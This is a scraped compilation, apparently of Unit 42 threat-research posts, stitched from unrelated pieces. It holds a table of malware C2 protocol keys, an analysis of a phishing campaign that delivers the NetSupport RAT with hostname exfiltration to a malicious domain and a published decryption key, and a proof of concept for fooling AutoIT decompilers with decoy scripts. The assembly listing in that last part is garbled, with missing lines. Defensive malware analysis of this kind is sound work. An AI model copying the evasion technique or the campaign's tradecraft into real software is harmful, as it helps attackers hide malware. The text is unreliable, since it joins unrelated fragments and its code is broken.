bf126c2c8f7d4263c78f4b97857912a3c1e87c73fee3f18095d58ef5053f2959 - التقرير اليومي حول أخر مستجدات الإرهاب العالمي- 9 - 9 - 2019.doc (Daily updates on the latest terrorism report Alaalmi- 9 - 9 - 2019.doc)
Key name in dictionary (JaseN) used to store the value of a task number provided in the Ivory field
Allier
C2 Channel (from C2)
Key name used to store a number for an unknown purpose, but it is expected as a response to the MorganE communication type.
JaseN
C2 Channel (from payload)
Key name for a list of dictionaries in the MorganE communication type, represents the received task numbers
Ivory
C2 Channel (from C2)
Key name in the Jordanlzw list used to store a number that we believe is a task number
Jonas
C2 Channel (from C2)
Key name in the Jordanlzw list used to store a boolean for an unknown reason
Reginacy
C2 Channel (from C2)
Key name in the Jordanlzw list used to store a boolean to not create the process, rather just send 'ok' back to C2
TrumanRd
C2 Channel (from C2)
Key name in the Jordanlzw list used to store the command line arguments to run with an executable
Alanih
C2 Channel (from C2)
Key name in the Jordanlzw list used to store the executable to to run
Averizt
C2 Channel (from payload)
Key name that stores a number in the VanessaFM communication type that is hardcoded within the binary.
MathiasNbo
C2 Channel (from payload)
Key name for a list of dictionaries in the VanessaFM communication type
BrandentlK
C2 Channel (from payload)
Key name that stores a number in the VanessaFM communication type that is hardcoded into the configuration.
AdalynngS
C2 Channel (from payload)
Key name in dictionary (MathiasNbo) used to store a number with unknown purpose.
AdelineRD
C2 Channel (from payload)
Key name that stores a base64 encoded encrypted string obtained from the payload configuration sent to the C2 in the VanessaFM communication type. Considered as a nickname or campaign/payload identifier.
CollinsPM
C2 Channel (from payload)
Key name in dictionary (MathiasNbo) used to store the UUID also seen in the ZaydenlnL field
Nevaeh
C2 Channel (from payload)
Key name in dictionary (MathiasNbo) used to store a boolean with unknown purpose.
LondonzO
C2 Channel (from C2)
Key name in the Jordanlzw list used to store a boolean to create a specified process and wait for return
JoslynKe
C2 Channel (from payload)
Value in ReeceWNM field to represent the transmission of system information
AngelxEv
C2 Channel (from payload)
Key name used in a system information dictionaries (Maximiliano) to store the information type value (1 = UUID, 2 = hostname, 3 = username)
ZaydenlnL
C2 Channel (from payload)
Key name used in a system information dictionaries (Maximiliano) to store the data associated with the type specified in AngelxEv
Houstonod
C2 Channel (from payload)
Key name used in a system information dictionaries (Maximiliano) to store the value "1" whose purpose is unknown
Maximiliano
C2 Channel (from payload)
Key name in JoslynKe communication type that stores a list of system information dictionaries
Garrison
C2 Channel (from C2)
Key name for a number value used by the payload possibly as a sleep interval before sending results of additional commands.
Zeke
C2 Channel (from payload)
Key name for a list of dictionaries in the Winston communications type
ReesefP
C2 Channel (from payload)
Key name within a dictionary within the Zeke array used to represent the task number
FrederickT
C2 Channel (from payload)
Key name within a dictionary within the Zeke array storing the results of the executed command for the task
KaileeXws
C2 Channel (from payload)
Key name within a dictionary within the Zeke array storing the boolean if the execution was successful
EverlyY
C2 Channel (from C2)
Key name for a number value used by the payload to idle for a specified number of seconds
CallieVK
C2 Channel (from payload)
Field in JSON sent to C2, used to store the communicated data
ReeceWNM
C2 Channel (from payload)
Field in JSON sent to C2, used to store the communication type
MorganE
C2 Channel (from payload)
Value in ReeceWNM field to represent the task number its about to send data regarding
Winston
C2 Channel (from payload)
Value in ReeceWNM field to represent the transmission of command execution results
Jessicay
C2 Channel (from payload)
Value in ReeceWNM field to represent the beacon
VanessaFM
C2 Channel (from payload)
Value in ReeceWNM field to represent the request for additional tasks
rEA8GPZf4oIdOsjMxgFD
Key
Used to encrypt fields within JSON sent to C2, including system information gathered
Jordanlzw
C2 Channel (from C2)
Key name of a list of dictionaries that store commands to run
Aryana
C2 Channel (from C2)
Key name for a number value used to specify the number of commands to run that are stored in the Jordanlzw list
24
Config
Minimum sleep interval between messages sent to C2
In January 2020, the Cortex XDR Managed Threat Hunting team, part of Unit 42, identified a malicious Microsoft Word document, disguised as a password-protected NortonLifelock document, being used in a phishing campaign to deliver a commercially available remote access tool (RAT) called NetSupport Manager. Using a fictitious NortonLifelock document to entice the user to enable macros makes this particular attack interesting to us.
This RAT is typically used for legitimate purposes allowing administrators remote access to client computers. However, malicious operators are installing the RAT to victim’s systems allowing them to gain unauthorized access. The use of this NetSupport Manager RAT for unauthorized access has been observed in phishing campaigns since at least 2018.
During an initial review of the detection, which was flagged via Cortex XDR™, we observed that the causality chain began when a Microsoft Word document was opened from within Microsoft Office Outlook. While we do not have the actual email, we are able to conclude that this activity appears to be a part of a larger campaign.
This activity employs evasion techniques to evade both dynamic and static analysis and utilizes the PowerShell PowerSploit framework to carry out the installation of the malicious file activity. Through additional analysis, we identified related activity dating back to early November of 2019.
In this write-up, we will describe the anomalous activities as observed through Cortex XDR’s behavioral detection capabilities.
Delivery
In early January 2020, the Cortex XDR™ Engine detected a suspicious winword.exe process executing an obfuscated batch file. In Figure 1, you can see multiple points of detection beginning with the initiating Microsoft Word process and continuing with the creation and execution of a .bat file. In Figure 2, you can see a rollup of the Timeline view showing an alert for a known bad indicator, the behavioral process execution, and attempted connection activities. Figure 3 shows the initial alert detected based on these behavioral indicators.
Figure 1. Cortex XDR™ causality chain
Figure 2. Cortex XDR™ causality chain timeline
Figure 3. Cortex XDR™ BIOC detection
Figure 4 below is a screenshot of the malicious document used, disguised as a password-protected NortonLifelock document which requests the user to enter a password to enable macros. The document used for this analysis is SHA256: E9440A5D2DFE2453AE5B69A9C096F8D4CF9E059D469C5DE67380D76E02DD6975
Figure 4. Delivery document disguised as NortonLifeLock.
To the user, the document appears to contain personal information that requires a password to view. Once the document is opened and the user clicks “Enable Content”, the macro is executed and the user is presented with a password dialog box.
Figure 5. Password dialog box presented to the user
We suspect this password is provided in the phishing email, as it accepts only the letters ‘c’ or ‘C’ as shown in the macro code below. The hash for this macro code is SHA256: 68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2
If the user enters an incorrect password, they are presented with an error message stating an incorrect key was entered followed by a “done” processing message. It should be noted that no malicious activity occurs until the correct key is entered.
Once the correct password is received, the macro continues code execution and builds the following command string:
The macro obfuscates all strings using multiple labels on Visual Basic for Applications (VBA) forms, which contain two characters that are eventually linked together to construct the final command to download and execute the RAT on the victim.
The command string is executed via the VBA shell function, which does the following:
Launches cmd.exe passing the /c parameter - carries out the command and exits
Constructs a batch file named alpaca.bat in the victims %temp% directory
Executes the newly created batch script
The batch script uses msiexec, which is a part of the Windows Installer service used to download and install a Microsoft Intermediate Language (MSIL) binary to the victim from the domain:
quickwaysignstx[.]com/view.php
The server that is serving view.php appears to be filtering on the user-agent string, as visiting the site with a browser displays a standard image for the webpage. Note this domain appears to be a legitimate domain, which has been compromised and is being used by these operators.
Figure 6. HTTP GET request to view.php on quickwaysignstx[.]comIf the user-agent string in the request is Windows Installer, an MSI file is returned. This user-agent string is part of the msiexec command, further supporting that the payload will only be downloaded when using msiexec. The MSI payload (SHA256: 41D27D53C5D41003BC9913476A3AFD3961B561B120EE8BFDE327A5F0D22A040A) was built using an unregistered version from www.exemsi[.]com with the title of MPZMZQYVXO patch version 5.1.
This version string appears to be random, as several other strings were noted during an analysis of related activities. The string is displayed when MSI is run. Once downloaded, the MSI will execute using the /q parameter to suppress any Windows dialogs from the user. A similar activity was reported in November 2019.
The MSI installs a PowerShell script in the victim’s %temp% directory named REgistryMPZMZQYVXO.ps1.
The encrypted blob of data stored in REgistryMPZMZQYVXO.ps1 is another PowerShell script that is responsible for installing the NetSupport Manager RAT onto the victim and setting up persistence.
The PowerShell script appears to have been generated using the open-source script Out-EncryptedScript.ps1 from the PowerSploit framework. It contains a blob of data that is obfuscated via base64 and is TripleDES encrypted with a cipher mode of Cipher Block Chain (CBC).
The decryption password and Initialization Vector (IV) for this particular sample is:
Decryption key =0xA7A15B277A74CD3233B9DF078ABCDE12
IV =DJZGVUGVHDMNIGZD
It should be noted that the IV used in this sample would most likely be different from other samples generated by PowerSploit. Also, the 16 byte IV would be truncated to 8 bytes, as IV block sizes are 8 bytes in length. The decrypted PowerShell script looks like:
The RAT installer PowerShell script does the following:
Halts installation if Avast or AVG Antivirus Software is running on the target
Installs 12 files that make up the NetSupport Manager RAT to a random directory (length of eight) in the victims %appdata% e.g c:\users\%username%\Appdata\Roaming\%randomvalue%\
Sets up persistence on the victim by creating the following registry key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Executes the main NetSupport Manager RAT presentationhost.exe
Sleeps for 10 seconds
Sends the victim's computer name to http://afsasdfa33[.]xyz/iplog/lepo.php?hst=%computername%
Any data returned from site afsasdfa33[.]xyz is saved in the victim’s %temp% directory as file insghha4.txt
Removes all files with file extension .ps1 from the victim’s %temp% directory
Deletes a file named insghha4.txt
Once the main NetSupport Manager executable (presentationhost.exe) is started, it beacons to the domain geo.netsupportsoftware[.]com to retrieve geolocation of the host followed by an HTTP POST to http://94.158.245[.]182/fakeurl.htm
It should be noted that the original name of NetSupport Manager is client32.exe and it was likely changed to presentationhost.exe to avoid any suspicions. Example of traffic sent to the target domain:
While hunting for related activity on all XDR customers, we identified other files likely related to this campaign activity. This related activity ranges in date from the beginning of November 2019 through the end of January 2020.
Throughout the first half of November, all related activities used email attachments containing the name of an individual publicly associated with the target company or utilizing the name of a public figure. Most public figures referenced belonged in the film or print industry. All emails were also sent using a random protonmail[.]com email address and contained email subjects related to refund status or unauthorized credit card transactions. Beginning at the end of November and continuing into January 2020, the mail attachments changed and were instead named as <target company website>.doc and sent from email addresses using domains that were registered within one day of the observed activity. The email subjects contained the same trend reusing themes associated with refunds, as well as transaction and order inquiries. While it is unclear what the overall motivations of this activity is, these changes may increase the likelihood of a recipient opening the email attachment and indicate a desire to gain access to the target network.
All associated indicators are referenced in the Appendix. While these indicators have been observed in malicious activity, some may also be used for benign activities as well.
Conclusion
Cortex XDR™ utilizes signatures built for low detection activity like this by looking for behavioral activity combinations that may evade static and dynamic analysis.
Malicious use of the NetSupport Manager remote access tool has also been reported by both FireEye and Zscaler researchers. While this activity appears to be broad and at large scale, there are indications, such as the document name, that show the actor’s attempt to provide a stronger relationship to the target in an attempt to increase the success rate.
Palo Alto Networks customers are protected from this threat via multiple services. Our threat prevention platform detects both the NetSupport Manager file along with the related payloads, including URL retrieval. Cortex XDR customers are further protected by behavioral indicator signatures. AutoFocus users can track related activities using the NetSupport Manager tag.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org. (This is added to blogs pre-shared with the CTA, when loaded into WordPress it will be added when appropriate).
Indicators of Compromise
Indicators associated with this analysis can be found on the Unit 42 GitHub IOCs page here.
During the analysis of an AutoIT compiled malware sample, a message box popped up indicating the possible execution of the sample when using Exe2Aut decompiler. This triggered my interest in how this decompiler works and how AutoIt scripts are compiled in the first place. In this writeup, I will explain how the two most common AutoIT decompilers (Exe2Aut and myAut2Exe) work and how they can be tricked into decompiling a decoy script instead of the real script.
Figure 1. Exe2Aut disclaimer
What is a “Compiled” AutoIT Executable?
A compiled AutoIT executable basically consists of two parts: a standalone AutoIT interpreter and the compiled script bytecode present as a resource in the PE file. The creators of AutoIT have taken some measures against easy decompilation and applied a form of compression and encryption on the bytecode. The decompression of the bytecode is performed by the compiled AutoIT binary before it is interpreted and executed.
Let’s Analyze the Exe2Aut Decompiler
If you would dynamically analyze Exe2Aut during decompilation, you would notice the following:
A .tmp file is written to the %TEMP% folder.
The target binary is loaded as a child process of Exe2Aut.
The .tmp file is injected in the target binary.
The target binary will write the decompiled autoIT script to the current working directory.
Because of this, you can conclude that Exe2Aut utilizes the embedded interpreter to decrypt and decompress the script bytecode and extracts this by injecting a dynamic link library (DLL) into the target binary. This hooks the function that will execute the bytecode and decodes the bytecode back to the function names instead -- making it a dynamic approach. Due to this, it's possible to add code to detect the injection and change its behavior. By doing so, we can trick Exe2Aut to decompile a decoy script instead of the real script, which is executed when running the application.
Figure 2. Exe2Aut injected module
What About MyAut2Exe?
Unlike Exe2Aut, MyAut2Exe extracts the bytecode resource and unpacks and decodes it without the help of the embedded interpreter -- making it a full static decompiler because of this, there is no risk of accidentally executing anything.
MyAut2Exe is more advanced than Exe2Aut. It supports multiple versions of AutoIT and AutoHotkey compiled scripts. Therefore, it has more settings to adjust the extraction and unpacking of the compiled script code. To take the hassle out of correctly configuring it, it comes with a feature called "automate". This brute forces the decompiler settings until a script is successfully decompiled. When the "automate" functionality is used, MyAut2Exe parses the executable for AutoIT magic bytecode signatures. Once found, it extracts and decompiles the code. As the parsing and decompilation stops on the first occurrence of the magic bytecode sequence, MyAut2Exe can be easily tricked into decompiling a decoy script as long as it's placed at a lower offset than the real compiled script resource.
Allow Me to Demonstrate
Theory is all nice and well, but in the world of cybersecurity, a proof of concept (POC) is worth far more than any theory.
The idea is to have a compiled AutoIt executable with three different bytecodes. Once decompiled by either Exe2Aut or MyAut2Exe, one of the decoy scripts gets decompiled instead of the real code.
The decoy script for MyAut2Exe is placed before the real bytecode as explained earlier. For Exe2Aut, the script resource name for the decoy and real script is renamed at runtime to make it decompile the wrong code.
I have compiled three different AutoIt scripts and added those as resources to the .rsrc section. Two of them are decoy scripts, while the third is a real one. Afterward, I set the permissions of the .rsrc section to read / write in the portable executable (PE) header.
Figure 3. The real and decoy script resources
Next, I wrote a small assembly shellcode to walk through the PEB_LDR_DATA structure in the Process Environment Block to check for the presence of the DLL injected by Exe2Aut. It is also possible to search for the (UPX packed) DLL on disk, as it is placed in the Windows %TEMP% directory under a random file name before being injected. I have chosen this approach because it’s more reliable and harder to detect. Walking the Process Environment Block to check for a loaded module with the presence of the section name .UPX0 in all loaded modules is a more elegant way to identify Exe2Aut's injected module, as none of the other DLLs would normally be UPX packed. This method might even detect a wide range of Exe2Aut versions and not just the one I used or even some custom decompilers as well.
After I’ve created the shellcode, I need to find a location in the prepared executable to inject my shellcode into. I found a codecave of around 210 bytes at the end of the .text section, where my shellcode would fit easily. In order to execute my shellcode, I decided to jump to it right after the call to IsDebuggerPresent and return to normal execution flow once the execution was done.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
saveRegisters:
push ecx
push ebx
push edx
checkInjected:
mov ebx,fs:[0x30];Get PEB address
mov ebx,[ebx+0xC];Get LDR Table address
mov ebx,[ebx+0x14];first entry of LDR table.(the first entry isthe that of the executable)
mov edx,[ebx+0x10];Store the offset inedx
;Ineed thislater tocalculate the offsets
;of the resource names
nextModule:
mov ebx,[ebx];Get address of next LDR entry
mov ecx,dword ptr ds:[ebx+0x28];Pointer of the module name
test ecx,ecx;Ifthe pointer isOxO it means we have reached
;the endof our LDR table andwe want to
je restoreRegisers;continuenormal execution
mov ecx,dword ptr ds:[ebx+0x10];Get the modules base offset
mov ecx,dword ptr ds:[ecx+0x178];loadadword from the modules base offset+0x178
test eax,eax;Restore the instructions that were overwritten by
jnz debugerIsPresent;the jump tothe codecave
jmp debugerNotPresent;Returntothe normal program flow
Figure 3. The assembly shellcode. (70 bytes)
Figure 4. Demonstration video
Conclusion
What we can learn from this POC is that we shouldn't always blindly trust the output of our tools. Reverse engineers should be aware of how their tools work and how they can possibly be tricked into returning a misleading output. While the tricks presented here might mislead two decompilers, they don't affect the results of a dynamic analysis in a sandbox.
Our threat prevention platform Traps, Cortex XDR™ and the dynamic analysis in WildFire are capable of detecting malicious behavior from benign scripts, like the ones described above, from being executed.
Get updates from Unit 42
Peace of mind comes from staying ahead of threats. Subscribe today.
Get the latest news, invites to events, and threat alerts
Figure 2. Newly observed hostnames containing COVID-19 related keywords from March 9, 2020 to April 26, 2020.
Figure 4. Distribution of NOHs in public clouds.
Get updates from Unit 42 